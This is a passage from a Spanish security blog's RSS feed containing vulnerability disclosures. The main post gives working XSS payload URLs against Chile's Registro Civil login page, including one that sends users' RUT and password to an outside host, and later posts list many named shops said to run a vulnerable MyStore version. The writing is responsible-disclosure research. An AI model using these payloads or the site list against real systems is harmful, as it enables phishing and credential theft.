			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/regciv.png"><img class="aligncenter size-full wp-image-2816" title="regciv" src="http://blog.zerial.org/wp-content/uploads/2011/11/regciv.png" alt="" width="543" height="60" /></a></p>
<p>Hace un par de semanas fueron reportadas en <a href="http://secureless.org">Secureless</a> 2 vulnerabilidades Cross-Site Scripting (XSS) que afectaban al sitio web del Registro Civil en Chile, tambien fueron reportadas mediante el <strong>grupo de respuesta ante incidentes (CSIRT) del Ministerio del Interior</strong>, quienes ellos mismos se acercaron a mi luego de la charla de la <a href="http://8dot8.org">Computer Security Conference 8.8</a> para canalizar mediante ellos las vulnerabilidades de sitios web del gobierno que sean encontradas. El CSIRT del Interior ha respondido muy bien, pero al parecer ni si quiera una &#8220;entidad reguladora&#8221; es capaz de hacer entender a los responsables y encargados.</p>
<p>Las vulnerabilidades de este tipo no son consideradas un riesgo y no se le da la urgencia que se necesita. Esta vulnerabilidad es critica ya que se encuentra en la sección para que los usuarios inicien sesión y permite el <strong>robo de credenciales y suplantación de identidad</strong>.</p>
<p>Este fallo afecta a la página de autentificación de certificados en línea</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl.png"><img class="aligncenter size-full wp-image-2819" title="regciv_certl" src="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl.png" alt="" width="584" height="210" /></a>En el cual es posible modificar la función el botón &#8220;Ingresar&#8221;, para que nos envíe la información de identificación a un sitio externo.</p>
<p><span id="more-2815"></span></p>
<p>La víctima lo único que tiene que hacer es ingresar a un link malicioso que el atacante le envie por correo o por algún otro medio. Esta vulnerabilidad se aprovecha de la confianza que tiene el usuario sobre el sitio web, ya que usa el <strong>dominio original</strong> y real del Registro Civil, incluso su certificado de &#8220;seguridad&#8221; SSL. La URL maliciosa tiene la forma</p>
<p style="text-align: center;"><strong>https://www.registrocivil.cl/XXXXXXXXXXXXXXXXXXXXXXXXXX</strong></p>
<p>Para aprovecharse de esta vulnerabilidad lo único que hay que hacer es envenenar la variable &#8220;pag&#8221; y sobreescribir la función javascript &#8220;ingresar()&#8221;.</p>
<p>En primera instancia, modificaremos la función para que nos muestre el contenido de cada campo del formulario de autentificación</p>
<p><strong>El nombre de usuario/rut</strong><br />
<a href="https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].runOI.value%29;%20}%3C/script%3E%3Cscript%3E">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].runOI.value%29;%20}%3C/script%3E%3Cscript%3E</a></p>
<p><strong>La password</strong><br />
<a href="https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].passwordOI.value%29;%20}%3C/script%3E%3Cscript%3E">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].passwordOI.value%29;%20}%3C/script%3E%3Cscript%3E</a></p>
<p>Al ingresar en estos dos links, veran la pantalla de inicio de sesión normal, sin modificaciones. Ingresen sus datos y presionen el botón &#8220;Ingresar&#8221;, veran como aparece un mensaje con los datos que ustedes han ingresado. Esta prueba de concepto es una simple alerta que muestra los datos que ingresaste en el formulario.<br />
La segunda prueba de concepto será generar una alerta en el navegador donde nos muestre el usuario y la password juntos<br />
<a href="https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc'; } } function ingresar(){ var _a = document.forms[0].runOI.value; var _b = document.forms[0].passwordOI.value; alert('rut: ' %2b _a %2b ' password: ' %2b _b); }&lt;/script&gt;&lt;script&gt;">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc&#8217;; } } function ingresar(){ var _a = document.forms[0].runOI.value; var _b = document.forms[0].passwordOI.value; alert(&#8216;rut: &#8216; %2b _a %2b &#8216; password: &#8216; %2b _b); }&lt;/script&gt;&lt;script&gt;</a></p>
<p>Si ingresamos nuestro datos de acceso y pinchamos en ingresar, podemos ver que nuestra información aparecerá en la alerta del navegador</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl_pwd.png"><img class="aligncenter size-full wp-image-2823" title="regciv_certl_pwd" src="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl_pwd.png" alt="" width="554" height="414" /></a></p>
<p>Una vez realizada esta prueba de concepto, ya podemos enviar esa información a un sitio externo, donde el atacante podría almacenar la información del usuario al momento de iniciar sesión.</p>
<p>Modificaremos la función &#8220;ingresar()&#8221; de forma tal que nos envie la información del formulario al dominio <strong>zerial.org</strong> (de pruebas), usando el siguiente código javascript:</p>
<pre name="code" class="c">pocpoc';
}}
function ingresar(){
        document.forms[0].action = 'http://zerial.org/PoC_RegCivil';
        document.forms[0].method = 'GET';
        document.forms[0].submit();
}
<script></script></pre>
<p>Se lo inyectamos a la URL vulnerable:</p>
<p><a href=" https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20var%20_a%20=%20document.forms[0].runOI.value;%20var%20_b%20=%20document.forms[0].passwordOI.value;%20document.forms[0].action%20=%20%27http://zerial.org/PoC_RegCivil%27;document.forms[0].method%20=%20%27GET%27;document.forms[0].submit%28%29%20}%3C/script%3E%3Cscript%3E"></p>
<p>https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20var%20_a%20=%20document.forms[0].runOI.value;%20</p>
<p>var%20_b%20=%20document.forms[0].passwordOI.value;%20document.forms[0].action%20=%20%27http://zerial.org/PoC_RegCivil%27;document.forms[0].method%20=%20%27GET%27;document.forms[0].submit%28%29%20}%3C/script%3E%3Cscript%3E</a></p>
<p>Al ingresar tus datos e iniciar sesión, tu RUT y password será enviado a mi servidor. En el servidor, la información llega de la siguiente forma:</p>
<p><strong>x.x.x.x &#8211; - [xx/Nov/2011:xx:xx:xx -0300] &#8220;GET /PoC_RegCivil?tipoAyuda=&#038;runOI=1544345&#038;dvOI=&#038;passwordOI=prueba HTTP/1.1&#8243; 200 1529 &#8220;-&#8221;"</strong></p>
<p>Podemos ver donde dice <strong>runOI</strong> y <strong>passwordOI</strong>, que aparecen los datos que ingresamos en el formulario de autentificación en el sitio web del Registro Civil. Ya tenemos los datos del usuario</p>
<p><strong>RUT:</strong> 1544345<br />
<strong>Password:</strong> prueba</p>
<p>Finalmente, la URL maliciosa tendría la forma:</p>
<p><a href="http://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=%70%6f%63%70%6f%63%25%32%37%3b%25%32%30%7d%25%32%30%7d%25%32%30%66%75%6e%63%74%69%6f%6e%25%32%30%69%6e%67%72%65%73%61%72%25%32%38%25%32%39%7b%25%32%30%76%61%72%25%32%30%5f%61%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%72%75%6e%4f%49%2e%76%61%6c%75%65%3b%25%32%30%76%61%72%25%32%30%5f%62%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%70%61%73%73%77%6f%72%64%4f%49%2e%76%61%6c%75%65%3b%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%61%63%74%69%6f%6e%25%32%30%3d%25%32%30%25%32%37%68%74%74%70%3a%2f%2f%7a%65%72%69%61%6c%2e%6f%72%67%2f%50%6f%43%5f%52%65%67%43%69%76%69%6c%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%6d%65%74%68%6f%64%25%32%30%3d%25%32%30%25%32%37%47%45%54%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%73%75%62%6d%69%74%25%32%38%25%32%39%25%32%30%7d%25%33%43%2f%73%63%72%69%70%74%25%33%45%25%33%43%73%63%72%69%70%74%25%33%45">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=%70%6f%63%70%6f%63%25%32%37%3b%25%32%30%7d%25%32%30%7d%25%32%30%66%75%6e%63%74%69%6f%6e%25%32%30%69%6e%67%72%65%73%61%72%25%32%38%25%32%39%7b%25%32%30%76%61%72%25%32%30%5f%61%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%72%75%6e%4f%49%2e%76%61%6c%75%65%3b%25%32%30%76%61%72%25%32%30%5f%62%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%70%61%73%73%77%6f%72%64%4f%49%2e%76%61%6c%75%65%3b%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%61%63%74%69%6f%6e%25%32%30%3d%25%32%30%25%32%37%68%74%74%70%3a%2f%2f%7a%65%72%69%61%6c%2e%6f%72%67%2f%50%6f%43%5f%52%65%67%43%69%76%69%6c%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%6d%65%74%68%6f%64%25%32%30%3d%25%32%30%25%32%37%47%45%54%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%73%75%62%6d%69%74%25%32%38%25%32%39%25%32%30%7d%25%33%43%2f%73%63%72%69%70%74%25%33%45%25%33%43%73%63%72%69%70%74%25%33%45</a></p>
<p>Es suficiente con enviar ese link a usuarios para que los datos de autentificación sean enviados a un servidor externo.</p>
<p><strong>ACTUALIZADO (3 de Diciembre):</strong> Luego de insistir via twitter y enviando este post al CSIRT del Ministerio del Interior, Registro Civil ha corregido la vulnerabilidad.</p>
<p>Como siempre, hay que hacer publicas las fallas para que le den solucion.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Secureless: Estadisticas de sitios web vulnerables</title>
		<link>http://blog.zerial.org/seguridad/secureless-estadisticas-de-sitios-web-vulnerables/</link>
		<comments>http://blog.zerial.org/seguridad/secureless-estadisticas-de-sitios-web-vulnerables/#comments</comments>
		<pubDate>Mon, 28 Nov 2011 12:15:09 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Mis cosas]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[estadisticas]]></category>
		<category><![CDATA[secureless]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[vulnerabilidades web]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2777</guid>
		<description><![CDATA[En la conferencia de seguridad recien pasada, tuve la oportunidad de presentar el Proyecto Secureless, demostrando la realidad de las vulnerabilidades web de distintos sitios, por categoria, dominio y por tipo de organizacion. Durante aproximadamente 7 meses hemos estado recopilando sitios webs con distintas vulnerabilidades, gracias a nuestras propias investigaciones o colaboraciones de distintos usuarios, [...]]]></description>
			<content:encoded><![CDATA[<p>En la conferencia de seguridad recien pasada, tuve la oportunidad de presentar el Proyecto <a href="http://secureless.org">Secureless</a>, demostrando la realidad de las vulnerabilidades web de distintos sitios, por categoria, dominio y por tipo de organizacion.</p>
<p>Durante aproximadamente 7 meses hemos estado recopilando sitios webs con distintas vulnerabilidades, gracias a nuestras propias investigaciones o colaboraciones de distintos usuarios, hasta la fecha registramos aproximadamente 1058 sitios web, de distintos paises, distintos tipos de entidades (universidades, bancas, etc) y con distintos estados. Actualmente en Secureless manejamos 3 tipos de estados, las Reportadas, No Reportadas</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_estados.png"><img class="aligncenter size-full wp-image-2795" title="grafico_estados" src="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_estados.png" alt="" width="547" height="311" /></a></p>
<p>La diferencia que existe entre las <strong>Reportadas</strong> y las <strong>Sin Reportar</strong>, principalmente se da porque los sitios web no publican un correo o alguna forma de contacto para poder reportar este tipo de fallas, por lo general se limitan a poner un formulario de &#8220;consultas&#8221; y muchas veces en bancos, universidades o sitios del gobierno, hay que completar un formulario con cientos de campos obligatorios.</p>
<p>Los sitios web que realmente <strong>deberian</strong> tener este tipo de procedimiento como los bancos, Universidades o sitios del gobierno que manejen información sensible de personas, no lo hacen. Muchas veces debemos enviar el reporte a correos genericos y/o aleatorios como contacto@dominio, info@dominio o webmaster@dominio, sin tener respuesta.<br />
La relación que existe entre las Reportadas y las Solucionadas, nos demuestra que de alguna forma estamos apuntando para el lado correcto, ya que el 90% de las vulnerabilidades reportadas se solucionan.</p>
<p>De los tipos de vulnerabilidades, hay dos categorías que pelean el puesto para ser los que más sitios registran, el SQL Injection y al Cross-Site Scripting</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_cat.png"><img class="aligncenter size-full wp-image-2800" title="grafico_cat" src="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_cat.png" alt="" width="550" height="312" /></a>Es curioso, ya que una es <em>client-side</em> (xss) y la otra<em> server-side </em>(sql-i), pero ambas ocurren por una mala sanitización de los parametros de entrada.</p>
<p><span id="more-2777"></span></p>
<p>La que los sigue es Full Path Disclosure, una vulnerabilidad que por si sola no es muy critica y que muchas veces se le da la responsabilidad al encargado del servidor, que no deshabilita los errores o el debug, aunque segun yo, el programador debería ser capaz de manejar los errores y validar los parametros de entrada para evitar el <em>crash</em> de la aplicación y asi evitar cualquier tipo de error sin atajar. El tipico ejemplo, cuando modificamos los parametros por GET y transformamos una variable en un Array.</p>
<p>Si analizamos la cantidad de sitios por tipo de organización, nos encontramos con el siguiente gráfico:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_entidades.png"><img class="aligncenter size-full wp-image-2803" title="grafico_entidades" src="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_entidades.png" alt="" width="544" height="320" /></a></p>
<p>Las universidades son de las entidades (segun nuestro criterio) que más vulnerabilidades tienen, ya que muchas de ellas les abren espacios a sus <span style="text-decoration: line-through;">clientes</span> alumnos, por lo general un servidor compartido entre usuarios y en algunos casos extremos, un servidor compartido con aplicaciones de la universidad (intranets, etc).<br />
Luego viene los del gobierno, que mientras más sitios y sistemas ofrecen, menos control tienen sobre las aplicaciones y sobre los datos que manejan. Es muy comun en sistemas y sitios del gobierno encontrar tecnologias antiguas y en muchos casos, obsoletas.<br />
Con eCommerce, me refiero a sitios que ofrecen &#8220;comercio por internet&#8221;, como PC Factory, Falabella, Ripley, etc.<br />
Finalmente tenemos a los queridos Bancos, que sinceramente ellos ni si quiera deberian aparecer en este listado.</p>
<p>El último gráfico, corresponde a sitios segun su pais o dominio</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_dominio.png"><img class="aligncenter size-full wp-image-2807" title="grafico_dominio" src="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_dominio.png" alt="" width="556" height="325" /></a></p>
<p>No significa que Chile sea mas vulnerable que los otros, simplemente que en un principio nos dedicamos unicamente a almacenar sitios chilenos, pero poco a poco fuimos aceptando colaboraciones de otros paises y otros dominios.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/secureless-estadisticas-de-sitios-web-vulnerables/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Directory Listing en Corpbanca.cl</title>
		<link>http://blog.zerial.org/seguridad/directory-listing-en-corpbanca-cl/</link>
		<comments>http://blog.zerial.org/seguridad/directory-listing-en-corpbanca-cl/#comments</comments>
		<pubDate>Fri, 25 Nov 2011 14:30:43 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[bancos]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[corpbanca]]></category>
		<category><![CDATA[directory listing]]></category>
		<category><![CDATA[listado de directorios]]></category>
		<category><![CDATA[sitios vulnerables]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2781</guid>
		<description><![CDATA[El Listado de Directorios en si no es una vulnerabilidad o fallo crítico, todo depende de que tipo de información nos divulgue. El servidor del Banco Corpbanca permite listar directorios entregando información sensible sobre los archivos del sistema, por ejemplo permite acceder a archivos como &#8220;﻿ComprobanteCargoAbono_Personas.aspx.20081217&#8220;, un respaldo del año 2008 del archivo ComprobanteCargoAbono_Personas.aspx que, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/logo_cbc.gif"><img class="aligncenter size-full wp-image-2782" title="logo_cbc" src="http://blog.zerial.org/wp-content/uploads/2011/11/logo_cbc.gif" alt="" width="310" height="53" /></a></p>
<p>El Listado de Directorios en si no es una vulnerabilidad o fallo crítico, todo depende de que tipo de información nos divulgue.</p>
<p>El servidor del Banco Corpbanca permite listar directorios entregando información sensible sobre los archivos del sistema, por ejemplo permite acceder a archivos como &#8220;<em>﻿ComprobanteCargoAbono_Personas.aspx.20081217</em>&#8220;, un respaldo del año 2008 del archivo <em>ComprobanteCargoAbono_Personas.aspx</em> que, antes que  limitaran el acceso, era posible ver el código fuente de ese y de otros archivos.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/DL_31.png"><img class="aligncenter size-full wp-image-2786" title="DL_3" src="http://blog.zerial.org/wp-content/uploads/2011/11/DL_31.png" alt="" width="593" height="465" /></a></p>
<p>En el caso de un banco es peligroso porque permite al atacante conocer de mejor forma el sistema accediendo a toda la estructura de directorios y archivos. Tambien nos damos cuenta que hay scripts de &#8220;prueba&#8221; que nos pueden entregar información sensible</p>
<p><span id="more-2781"></span></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/DL_11.png"><img class="aligncenter size-full wp-image-2787" title="DL_1" src="http://blog.zerial.org/wp-content/uploads/2011/11/DL_11.png" alt="" width="614" height="112" /></a></p>
<p>Este problema en la configuración de los servidores de Corpbanca ya ha sido reportado y se está solucionando.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/DL_2.png"><img class="aligncenter size-full wp-image-2789" title="DL_2" src="http://blog.zerial.org/wp-content/uploads/2011/11/DL_2.png" alt="" width="584" height="339" /></a></p>
<p>Despues de haber dado la presentación de <a href="http://secureless.org">Secureless</a> en la<a href="http://8dot8.org"> CSC 8.8</a>, se me acercó el encargado de la seguridad de Corpbanca, entregandome su contacto y agradeciendo cualquier reporte que pudiese enviarle, hasta ahora he tenido la amabilidad de estar reportandole algunas fallas y el por su lado gestiona que se solucionen.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/directory-listing-en-corpbanca-cl/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>8.8: Computer Security Conference Chile</title>
		<link>http://blog.zerial.org/seguridad/8-8-computer-security-conference-chile/</link>
		<comments>http://blog.zerial.org/seguridad/8-8-computer-security-conference-chile/#comments</comments>
		<pubDate>Tue, 22 Nov 2011 13:03:28 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Anecdotas]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Mis cosas]]></category>
		<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2770</guid>
		<description><![CDATA[El pasado viernes 18 de noviembre se realizó la primera versión de la 8.8, una conferencia orientada a la seguridad informática y hacking. Tuve el agrado de exponer sobre el Proyecto Secureless, que llamó la atención de varios de los asistentes y gracias a eso logré tener contacto con distintas personas encargadas de la seguridad [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/88-Security-Conference-Chile.jpg"><img class="aligncenter size-full wp-image-2772" title="88-Security-Conference-Chile" src="http://blog.zerial.org/wp-content/uploads/2011/11/88-Security-Conference-Chile.jpg" alt="" width="580" height="422" /></a></p>
<p>El pasado viernes 18 de noviembre se realizó la primera versión de la 8.8, una conferencia orientada a la seguridad informática y hacking. Tuve el agrado de exponer sobre el Proyecto Secureless, que llamó la atención de varios de los asistentes y gracias a eso logré tener contacto con distintas personas encargadas de la seguridad o del area de informática de bancos, universidades, etc. Hubo charlas técnicas y otras no tanto, yo expuste, además de la presentación de Secureless, algo que ya había expuesto antes en otras conferencias, sobre Hacking Automatizado, básicamente la automatización de tareas mediante scripts en bash, php, python, etc.  De esta chalra no pude  mostrar todo por falta de conexión a internet.</p>
<p>De las cosas que mas me interesaron, fue &#8220;<em>﻿﻿﻿﻿Gaining Full System Access via Virtual Memory</em>&#8220;, que comenzó hablando sobre congelar la RAM para mantener la información  (Cryogenically frozen RAM) y que obviamente el escenario para explotar este tipo de cosas es bien complicado, ya que hay que tener acceso fisico, sin embargo, esto tambien sucede en las máquinas virtuales por ejemplo con VMWARE, que genera un archivo &#8220;.mem&#8221;, basta con hacer un dump de ese archivo y guardarlo para simular el &#8220;congelado&#8221;. Mediante este ataque, <strong>Thomas</strong> demostró que Linux es más inseguro que Windows en este sentido, por el simple hecho de que Windows es capaz de cifrar la información que está en la RAM, Linux no lo hace. Lo demostró leyendo el hash del archivo /etc/shadow desde la ram y también accediendo a la password en texto plano que se digitó para autenticarse en una shell.</p>
<p>Tambien me pareció interesante la charla de <strong>Marco</strong> Balduzzi quien hablaba sobre HTTP Parameter Pollution, que por el tipo de preguntas que se hicieron creo que no mucha gente entendio el sentido de HPP.</p>
<p>Más allá de las charlas, lo que más me gustó es que existiera la instancia de poder mirar cara a cara a los distintos responsables y tambien conocer a gente nueva que está interesada en todo este tema de la seguridad informática y hacking. Me dio mucho gusto conocer a varios de los que solo me había relacionado via email para reportar vulnerabilidades.</p>
<p>Nos vemos el 2012!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/8-8-computer-security-conference-chile/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>MyStore vulnerable a Cross-Site Scripting: Miles de sitios afectados</title>
		<link>http://blog.zerial.org/seguridad/mystore-vulnerable-a-cross-site-scripting-miles-de-sitios-afectados/</link>
		<comments>http://blog.zerial.org/seguridad/mystore-vulnerable-a-cross-site-scripting-miles-de-sitios-afectados/#comments</comments>
		<pubDate>Wed, 19 Oct 2011 12:35:56 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2725</guid>
		<description><![CDATA[MyStore es una plataforma de comercio electrónico (eCommerce) escrita en PHP y utilizada por miles de sitios web. La plataforma tiene una vulnerabilidad Cross-Site Scripting en el archivo usado para desplegar errores al usuario, en el módulo de administración y es accesible por cualquier usuario sin previa autentificación, por lo que es posible explotar la [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/mystorelogo.png"><img class="aligncenter size-full wp-image-2727" title="mystorelogo" src="http://blog.zerial.org/wp-content/uploads/2011/10/mystorelogo.png" alt="" width="321" height="203" /></a>MyStore es una plataforma de comercio electrónico (eCommerce) escrita en PHP y utilizada por miles de sitios web. La plataforma tiene una vulnerabilidad Cross-Site Scripting en el archivo usado para desplegar errores al usuario, en el módulo de administración y es accesible por cualquier usuario sin previa autentificación, por lo que es posible explotar la vulnerabilidad y preparar un ataque hacia los clientes de los sitios web que implementan el sistema.</p>
<p>Según Google, son un poco más de mil sitios los que utilizan esta plataforma y que serían vulnerables a este tipo de ataques.</p>
<p>Al tratarse de un eCommerce, esta vulnerabilidad es aún más peligrosa ya que el atacante podría explotarla para obtener información de los usuarios como números de tarjetas de crédito, correos, usuarios y contraseñas, todo esto mediante <strong>phishing</strong>, usando el dominio del sitio en el que el usuario confía. Tambien se pueden elaborar ataques mas sofisticados para robar las sesiones a los usuarios que previamente hayan iniciado sesión.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/xss_mystore.png"><img class="aligncenter size-full wp-image-2731" title="xss_mystore" src="http://blog.zerial.org/wp-content/uploads/2011/10/xss_mystore.png" alt="" width="444" height="379" /></a></p>
<p><span id="more-2725"></span></p>
<p>La vulnearbilidad se encuentra en el archivo &#8220;<em>error.php</em>&#8221; y se produce al no filtrar los parametros de entrada mediante las variables &#8220;<em>p</em>&#8221; y &#8220;<em>s</em>&#8220;. El script simplemente imprime el valor de las variables, sin filtrarlas ni escapar caracteres, permitiendo XSS.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/xss_mystore2.png"><img class="aligncenter size-full wp-image-2732" title="xss_mystore2" src="http://blog.zerial.org/wp-content/uploads/2011/10/xss_mystore2.png" alt="" width="678" height="25" /></a></p>
<p>Una lista de algunos sitios afectados:</p>
<blockquote><p>abysinvitationsprintshop.com<br />
accesorioselauto.com<br />
adobetecnoterra.com<br />
adrenalinamotor.mx<br />
akarienlinea.com<br />
aldebaranuno.com<br />
aleissi.mx<br />
anabolicstorexpress.com<br />
ankah2o.com<br />
antibalastucomprasegura.com<br />
aquatica-online.com<br />
armarecuerdoseinvitaciones.com<br />
armyatvstore.com<br />
babybodega.mx<br />
bazar12.com<br />
beerandfashionmexico.com<br />
bellezanutritiva.com.mx<br />
bichitour.com<br />
bienesraicespremium.com<br />
bigjockey.com<br />
billyoplazapiel.com<br />
blancoscorona.com<br />
bricks-store.com<br />
cajasybolsas.com<br />
caramolli.com<br />
cavaboutique.com<br />
ceciliamartinezgarza.com<br />
centralnt.com<br />
colofoninfantil.com<br />
comercialdeestanteria.com.mx<br />
comerciantes.mx<br />
compraconplazo.com<br />
compupagos.com.mx<br />
compuventa-online.com<br />
contitech-solutions.com<br />
cosasdeingenieria.com<br />
decocuadros.com.mx<br />
dekocuadros.com<br />
deyacut.com<br />
digielectronik.com<br />
distribuidorazaqueo.com<br />
diveencounters.mx<br />
doshik.com<br />
e-tronic-shop.com<br />
edicionesuromex.com<br />
elgloborojotienda.com<br />
ellamodas.com<br />
elmundodelasfajas.com<br />
enac-audio.com<br />
enelbazarxalapa.com<br />
entradaxsalida.com<br />
enviamiregalo.com<br />
eplaza.com.mx<br />
fantasias-daniel.com<br />
farmaciadelnino.com<br />
fashion1services.com<br />
fastlapstore.com<br />
fermentando.com.mx<br />
florerialorena.com<br />
forjasdesign.com<br />
fraganciamania.com.mx<br />
fvi.mx<br />
gadgetmex.com<br />
galeriagalamania.com<br />
globaris-shop.com<br />
grupocomputacionaldeco.com<br />
grupoelrey.com<br />
gscomputadoras.com<br />
hogarynegocio.com<br />
hypnosefashionstore.com<br />
imperiusarts.com<br />
importacionesecm.com<br />
indumaqsa.com<br />
infoxweb.com<br />
inhaus.mx<br />
irrealcandybar.com<br />
its-acapulco.com<br />
javoil.com<br />
joyeriasagara.com<br />
julianna-jewelry.com<br />
kingmonstermty.com<br />
kiutstore.com<br />
konexionmusical.com<br />
lacombasoccer.com<br />
ladecimaletragdl.com<br />
lapsrepairs.com<br />
lasmatadoras.com<br />
libros.com.mx<br />
liderpowertools.com<br />
lizfloreria.com<br />
lunerougeboutique.com<br />
maimaitienda.com<br />
mandycreaciones.com<br />
manikin-online.com<br />
maniquiesonline.com<br />
maquinariaexpress.com<br />
megapixelcomputadoras.com<br />
mercaditoparati.com<br />
mexi-cali.net<br />
modayregalos.com<br />
mothernity.com.mx<br />
mtystore.com<br />
muebleriamaya.com<br />
mundoescolar11.com<br />
mydogpharma.com<br />
naturatoshop.com<br />
naturenmexico.com<br />
nochederio.com<br />
onlineplayeras.com<br />
ouletgnc.com<br />
pa-xi.com<br />
paraleer.com<br />
pasatiempo-juguetes.com<br />
petnc.com<br />
pinnacleventa.com<br />
plazamesonesvirtual.com<br />
pro-limp.com<br />
prodoorventas.com<br />
psmodelismo.com<br />
r3silencia.com<br />
raqmar.com.mx<br />
rcomunicaciones.com<br />
recuerdosybolos.com<br />
reducingbodysiluet.com<br />
regala123.com<br />
regala123.com.mx<br />
regalosconvida.com<br />
reguladoresypcs.com<br />
safetystoremexico.com<br />
seducelo.com<br />
seducelo.com.mx<br />
setfi.us.com<br />
sexylencerias.com<br />
shop4evermx.com<br />
siaproductos.com<br />
sistemascompac.com<br />
sitesirve.com<br />
smart-atic.com<br />
solarislabs.com<br />
solodebateria.com<br />
spixalapa.com<br />
sportjordan.com<br />
store-htpro.com<br />
sunlounge.com.mx<br />
taipacificoimportaciones.com<br />
techosmas.com<br />
tecnologiailimitada.com<br />
tenisclubcolombia.com<br />
thecellulardepot.com<br />
theredzone.com.mx<br />
tienda128.mystorexpress.com<br />
tienda573.mystorexpress.com<br />
tiendabolsasbichat.com<br />
tiendadicer.com<br />
tiendaenriko.com<br />
tiendaofficeadm.com<br />
tiendapetmark.com<br />
tiendatn.com<br />
tinkert.com<br />
todocompu.com<br />
transfermania.com.mx<br />
